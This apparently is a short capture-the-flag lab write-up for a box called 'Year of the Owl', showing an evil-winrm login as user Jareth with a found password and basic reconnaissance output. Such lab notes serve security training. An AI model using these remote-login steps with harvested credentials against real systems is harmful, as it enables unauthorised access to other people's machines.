YearOfTheOwl_WinRM

WinRM

---

Credential of the Jareth user has been identified.

┌──(kali㉿kali)-[~/archive/thm/yearoftheowl]
└─$ evil-winrm -i $IP -u Jareth -p sarah               
 
Evil-WinRM shell v3.5
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
 
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Jareth\Documents> whoami
year-of-the-owl\jareth
*Evil-WinRM* PS C:\Users\Jareth\Documents> hostname
year-of-the-owl
*Evil-WinRM* PS C:\Users\Jareth\Documents> ipconfig
 
Windows IP Configuration
 
 
Ethernet adapter Ethernet:
 
   Connection-specific DNS Suffix  . : eu-west-1.compute.internal
   Link-local IPv6 Address . . . . . : fe80::5870:aed1:8570:73ba%7
   IPv4 Address. . . . . . . . . . . : 10.10.163.21
   Subnet Mask . . . . . . . . . . . : 255.255.0.0
   Default Gateway . . . . . . . . . : 10.10.0.1

Initial Foothold established to the target system via WinRM